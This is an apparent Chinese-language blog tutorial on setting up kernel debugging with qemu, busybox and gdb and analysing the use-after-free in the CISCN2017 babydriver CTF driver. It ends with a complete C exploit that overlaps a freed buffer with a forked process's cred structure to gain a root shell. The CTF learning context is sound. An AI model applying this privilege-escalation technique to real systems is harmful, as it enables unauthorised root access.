登录后台

页面导航

本文编写于 113 天前,最后修改于 26 天前,其中某些信息可能已经过时。

环境搭建

简单分析linux内核漏洞,我们需要用到如下一些工具

  • gdb 动态调试
  • IDA 静态分析驱动程序
  • qemu 模拟器
  • busy-box 文件系统
  • extract-vmlinux 可以从bzImage中解压出vmlinux

下载编译linux内核源码

linux各版本内核 : https://mirrors.edge.kernel.org/pub/linux/kernel/

linux内核代码在线查看 : https://elixir.bootlin.com/linux/latest/source

我们使用curl命令将内核压缩包下载到本地然后解压缩

curl -O -L https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.9.tar.xz

unxz linux-5.9.tar.xz

tar -xf linux-5.9.tar

下载解压完之后我们就可以配置编译选项然后编译内核了

我们进入解压好的目录cd linux-5.9

然后编辑编译属性make menuconfig

注意 :

b10K9x.png

这里第一次编译内核可能需要安装一些依赖,我们跟着它的提示安装即可

编译的时候出现这个,也只要安装flex和bison就可以

b1B5Wt.png

b1D9yT.png

我们配置编译菜单的时候将这两个选上就可以了,然后我们保存即可

Kernel hacking -> Compile-time checks and compiler options -> Compile the kernel with debug info

Kernel hacking -> Generic Kernel Debugging Instruments -> KGDB: kernel debugger

最新版本的内核这两项都是默认勾选的

然后我们就可以进行编译了(这里我们使用make -j4 bzImage,直接使用make的话会编译很多用不到的东西,而且很慢)

这里可能又会提示缺少一些依赖,我们只要跟着安装即可sudo apt-get install libelf-dev

b1rC9I.png

有时候可能会有这个报错

b1y96P.png

我们只需要把.config文件中的CONFIG_SYSTEM_TRUSTED_KEYS置空就可以了

b16CC9.png

然后我们继续编译

如果出现这个,则表示编译成功

b32G0P.png

这里我们编译好内核之后启动的话是会报错的,因为没有文件系统,我们得安装busy-box文件系统

下载 wget https://busybox.net/downloads/busybox-1.35.0.tar.bz2

解压 tar -jxf busybox-1.35.0.tar.bz2

然后我们开始编译文件系统,先进入文件夹 cd ./busybox-1.35.0

配置编译菜单 make menuconfig

这里我们把这个选上然后保存就可以(这是因为我们得将其编译成静态文件,因为kenal是没有libc的)

Setttings -> Build static binary (no shared libs)

然后还得看看这两个,这两个是不能选上的

Linux System Utilities -> Support mounting NFS file systems on Linux < 2.6.23 (NEW)

Networking Utilities -> inetd

静态编译和链接需要额外安装一个依赖 sudo apt-get install libc6-dev

现在我们就可开始编译我们的文件系统了make -j4

编译完成之后我们就可以创建rootfs了,使用命令make install

然后我们在生成的_install文件夹下面创建一系列文件 mkdir -p proc sys dev etc/init.d

创建好之后我们在当前文件夹下面创建挂载脚本(init),并写入

#!/bin/sh
echo "INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
setsid /bin/cttyhack setuidgid 1000 /bin/sh

这样我们的文件系统就差不多创建好了,现在我们打包即可 find . | cpio -o --format=newc > ../rootfs.img

我们也可是使用cpio -idmv < rootfs.img解包

启动内核

我们先安装qemu,安装之前记得sudo apt-get update 更新一下资源包,不然可能会提示找不到包

sudo apt install qemu-system-x86

qemu安装之后我们创建一个文件夹,将之前生成的bzImage和rootfd.img放到这个文件夹中,然后创建启动文件start.sh

#!/bin/sh
qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel ./bzImage \
    -initrd  ./rootfs.img \
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr" \
    -smp cores=2,threads=1 \
    -cpu kvm64

这里注意我们需要将虚拟机的支持虚拟化开起来,不然这边的-cpu kvm64就会报错

我们打开虚拟机设置,勾选上这个即可

b3qPUJ.png

然后我们运行我们创建的start.sh文件,注意这里要勇敢root用户权限启动,即sudo ./start.sh

这样我们就启动好了

b3Lx7F.png

内核驱动的调试

我们拿CISCN2017 - babydriver这道题目来调试

b8e25j.png

这道题目我们拿到后一共有四个文件

  • babydriver.ko 内核驱动
  • boot.sh 启动脚本
  • bzImage 内核镜像
  • rootfs.cpio 文件系统

我们首先创建一个box文件夹,到时候我们可以把rootfs.cpio文件系统解压到box文件夹下,然后修改或者把exp放进去然后重新打包

文件系统

我们先将rootfs.cpio文件系统修改名字为rootfs.cpio.gz,并放入box文件夹下

mv rootfs.cpio ./box/rootfs.cpio.gz

然后进入box文件夹下 cd./box解压该文件 gunzip rootfs.cpio.gz

然后使用 cpio命令将文件系统解出来 cpio -idmv < rootfs.cpio

b8ui8A.png

可以看到在当前目录下生成了这些个文件,这个init就是整个文件系统初始化的脚本,我们可以进去看看

b8u2Ie.png

这个位置就是设置uid和gid,如果设置为1000,则是以user用户启动,如果设置为0则是以root用户启用,我们先设置为0,以root用户启动,这样方便我们调试,然后我们返回上一层目录 cd ..,看看boot.sh文件,这个文件就是启动脚本

这里我们需要添加-gdb tcp::1234用于远程调试,然后添加nokaslr,这样地址就不会随机化了,方便调试

b83qoV.png

我们以root权限运行该脚本 sudo ./boot.sh我们就进入了一个qemu的虚拟化

b8M1BV.png

可以看到我们是以root权限启动的

然后我们新起一个shell,运行gdb用于调试

我们指定远程调试的端口target remote localhost:1234

这时候我们需要添加符号表,我们现在qemu启动的虚拟化中查看装载的驱动

b81oE6.png

然后在另外一个shell里面添加符号表 add-symbol-file babydriver.ko 0xffffffffc0000000

这样我们就可以设置正确的断点了

b83QGF.png

然后我们就可以调试内核了

一道题目

我们有了上面这些基础后,我们继续来看CISCN2017 - babydriver这道题目

基础知识

设备

在linux以及所有的unix操作系统中,设备被分为了三种

  • 块设备
  • 字符设备
  • 网络设备

块设备的缩写是blkdev,块设备通常被称为“块设备节点”的特殊文件访问,块设备通常被挂载为文件系统,它是可寻址的,通常支持重定位操作

字符设备的缩写是cdev,字符设备通常被称为“字符设备节点”的特殊文件访问,应用程序通常直接访问设备节点来与字符设备交互

网络设备提供了对网络的访问,通过套接字API来访问

模块

linux虽然是单块内核的操作系统,但是linux的内核是模块化组成的,它允许内核在运行过程中动态地插入或删除代码,这些代码(相关的子例程、数据、函数出入口)被组合在了一个单独的二进制镜像中,这个镜像就被称为模块

静态分析

1.babydriver_init()函数

b8vFMR.png

alloc_chrdev_region()动态的申请注册一个设备号

cdev_init()注册字符设备

cdev_add()告诉内核设备号,一执行这条语句,其操作可以立即被内核调用

_class_create()将当前设备的设备节点注册进sysfs中

device_create()初始化逻辑设备

babydriver_init函数就是一些初始化的操作,创建设备

2.babydriver_exit()函数

b8vKRH.png

device_destroy()用于从Linux内核系统设备驱动程序模型中移除一个设备

class_destroy()删除设备的逻辑类

cdev_del()移除cdev结构体变量所描述的字符设备

unregister_chrdev_region()释放设备号

babydriver_exit函数就是一些清除操作

3.babyrelease()函数

b8xPk8.png

kfree()释放kmalloc申请的空间

printk()打印字符串

babyrelease函数就是将babydev_struct.device_buf释放掉

4.babyopen()函数

b8x3p4.png

kmem_cache_alloc_trace()分配内存

babyopen函数就是在内核中创建了一个 babydev_struct 的结构体,包含了 device_buf 指针以及一个 device_buf_len成员变量

5.babyioctl()函数

b8xgBt.png

_kmalloc()分配一块内存

babyioctl函数现将之前创建的结构体free掉,然后又重新分配一块内存

6.babywrite()函数

b8zSgJ.png

copy_from_user()将用户空间的数据传输给内核空间

babywrite函数就是将用户空间的数据拷贝给内核的device_buf

7.babyread()函数

bGSgFf.png

copy_to_usr()将内核空间的数据拷贝到内核空间

babyread函数就是将内核空间device_buf上的数据拷贝到用户空间

漏洞分析

babyopen()函数分配了一块内存,babydev_struct.device_buf该指针指向这块内存,然后babyrelease()函数使用kfree释放掉这块内存的时候,并没有将babydev_struct.device_buf该指针置空,这边就可能存在一个UAF漏洞

babyioctl()函数使用kfree释放内存后也没有将babydev_struct.device_buf该指针置空,而且又使用__kmalloc分配一块内存

动态调试

首先我们需要先安装extract-vmlinux,使用此工具从bzImage中解压出vmlinux

wget https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux

或者直接创建一个名为extract-vmlinux的文件,然后把下面的网页中的内容复制到extract-vmlinux中

https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux

使用extract-vmlinux bzImage > vmlinux即可

但是这个vmlinux是不带符号表的,它的一些地址都存放在/boot/文件下的一个类似System.map-5.11.0-38-generic的文件中

我们还可以使用vmlinux-to-elf这个工具,这个工具必须要在python3.5以上的环境,从下列网站中下载解压后,进入文件夹后执行sudo python3 setup.py install

https://github.com/marin-m/vmlinux-to-elf

我们执行这个命令vmlinux-to-elf bzImage vmlinux即可得到有符号表的vmlinux

然后我们就可以动态调试了

先使用qemu运行虚拟化环境,sudo ./boot.sh

然后我们新开一个窗口打开gdb

add-symbol-file babydriver.ko 0xffffffffc0000000
add-symbol-file vmlinux
target remote localhost:1234

然后就可以下断点调试了

bGZMrT.png

漏洞利用

这里我们先说一下这个linux内核中的cred结构体,该结构体是用来保存每个进程的权限的,我们只要能够修改该结构体,就可以使得某一个进程的权限为root

struct cred {
  atomic_t  usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
  atomic_t  subscribers;  /* number of processes subscribed */
  void    *put_addr;
  unsigned  magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD  0x44656144
#endif
  kuid_t    uid;    /* real UID of the task */
  kgid_t    gid;    /* real GID of the task */
  kuid_t    suid;    /* saved UID of the task */
  kgid_t    sgid;    /* saved GID of the task */
  kuid_t    euid;    /* effective UID of the task */
  kgid_t    egid;    /* effective GID of the task */
  kuid_t    fsuid;    /* UID for VFS ops */
  kgid_t    fsgid;    /* GID for VFS ops */
  unsigned  securebits;  /* SUID-less security management */
  kernel_cap_t  cap_inheritable; /* caps our children can inherit */
  kernel_cap_t  cap_permitted;  /* caps we're permitted */
  kernel_cap_t  cap_effective;  /* caps we can actually use */
  kernel_cap_t  cap_bset;  /* capability bounding set */
  kernel_cap_t  cap_ambient;  /* Ambient capability set */
#ifdef CONFIG_KEYS
  unsigned char  jit_keyring;  /* default keyring to attach requested
           * keys to */
  struct key __rcu *session_keyring; /* keyring inherited over fork */
  struct key  *process_keyring; /* keyring private to this process */
  struct key  *thread_keyring; /* keyring private to this thread */
  struct key  *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
  void    *security;  /* subjective LSM security */
#endif
  struct user_struct *user;  /* real user ID subscription */
  struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
  struct group_info *group_info;  /* supplementary groups for euid/fsgid */
  struct rcu_head  rcu;    /* RCU deletion hook */
};

我们只需要指向两次open,这样即使其中一个fd被close之后,还可以用另一个fd来操作device_buf

我们使用ioctf函数修改babydev_struct.device_buf_len为cred结构体的大小

然后释放fd1,这时候我们新起一个进程,新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠

这样我们就可以修改新进程的结构体的uid/gid为0,就拿到root权限了

exp如下(取自ctf-wiki)

//gcc x.c -static -o c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main()
{
    // 打开两次设备
    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);

    // 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
    ioctl(fd1, 0x10001, 0xa8);

    // 释放 fd1
    close(fd1);

    // 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
    int pid = fork();
    if(pid < 0)
    {
        puts("[*] fork error!");
        exit(0);
    }

    else if(pid == 0)
    {
        // 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0
        char zeros[30] = {0};
        write(fd2, zeros, 28);

        if(getuid() == 0)
        {
            puts("[+] root now.");
            system("/bin/sh");
            exit(0);
        }
    }

    else
    {
        wait(NULL);
    }
    close(fd2);

    return 0;
}